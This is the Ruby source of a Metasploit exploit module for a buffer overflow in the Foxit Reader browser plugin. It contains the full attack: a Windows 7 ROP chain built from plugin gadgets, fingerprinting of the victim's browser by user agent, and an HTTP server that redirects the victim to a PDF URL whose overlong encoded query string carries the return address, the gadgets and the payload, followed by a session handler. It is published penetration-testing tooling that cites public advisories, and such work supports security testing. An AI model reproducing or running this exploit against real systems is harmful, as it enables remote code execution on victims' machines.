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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML Rank = NormalRanking def initialize(info={}) super(update_info(info, 'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow", 'Description'=> %q{ This module exploits a vulnerability in the Foxit Reader Plugin, it exists in the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, overly long query strings within URLs can cause a stack-based buffer overflow, which can be exploited to execute arbitrary code. This exploit has been tested on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281 (npFoxitReaderPlugin.dll version 2.2.1.530). }, 'License'=> MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # initial discovery and poc 'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module 'juan vazquez', # metasploit module ], 'References' => [ [ 'OSVDB', '89030' ], [ 'BID', '57174' ], [ 'EDB', '23944' ], [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ], [ 'URL', 'http://secunia.com/advisories/51733/' ] ], 'Payload'=> { 'Space' => 2000, 'DisableNops' => true }, 'DefaultOptions'=> { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # npFoxitReaderPlugin.dll version 2.2.1.530 [ 'Automatic', {} ], [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281', { 'Offset'=> 272, 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin 'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin :rop => :win7_rop_chain } ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 7 2013", 'DefaultTarget'=> 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0 nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || '' case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end if os_name == 'Windows 7' and firefox =~ /18/ return targets[1] end return nil end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def nops make_nops(4).unpack("N*") end # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) def win7_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] 0x41414141, # Filler (RETN offset compensation) 0x1000614c, # & push esp # ret[npFoxitReaderPlugin.dll] 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] 0x00001000, # 0x00001000-> edx 0x1000d9ec, # XOR EDX, EDX # RETN 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] junk, 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] junk, junk, junk, 0x41414141, # Filler (RETN offset compensation) 0x00000040, # 0x00000040-> ecx 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] 0x00000001, # 0x00000001-> ebx 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] nops, 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] ].flatten.pack("V*") return rop_gadgets end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end unless self.respond_to?(my_target[:rop]) print_error("Invalid target specified: no callback function defined") send_not_found(cli) return end return if ((p = regenerate_payload(cli)) == nil) # we use two responses: # one for an HTTP 301 redirect and sending the payload # and one for sending the HTTP 200 OK with appropriate Content-Type if request.resource =~ /\.pdf$/ # sending Content-Type resp = create_response(200, "OK") resp.body = "" resp['Content-Type'] = 'application/pdf' resp['Content-Length'] = rand_text_numeric(3,"0") cli.send_response(resp) return else resp = create_response(301, "Moved Permanently") resp.body = "" my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] if datastore['SSL'] schema = "https" else schema = "http" end sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length) sploit << [my_target.ret].pack("V") # EIP sploit << [my_target['WritableAddress']].pack("V") # Writable Address sploit << self.send(my_target[:rop]) sploit << p.encoded resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') cli.send_response(resp) # handle the payload handler(cli) end end end |
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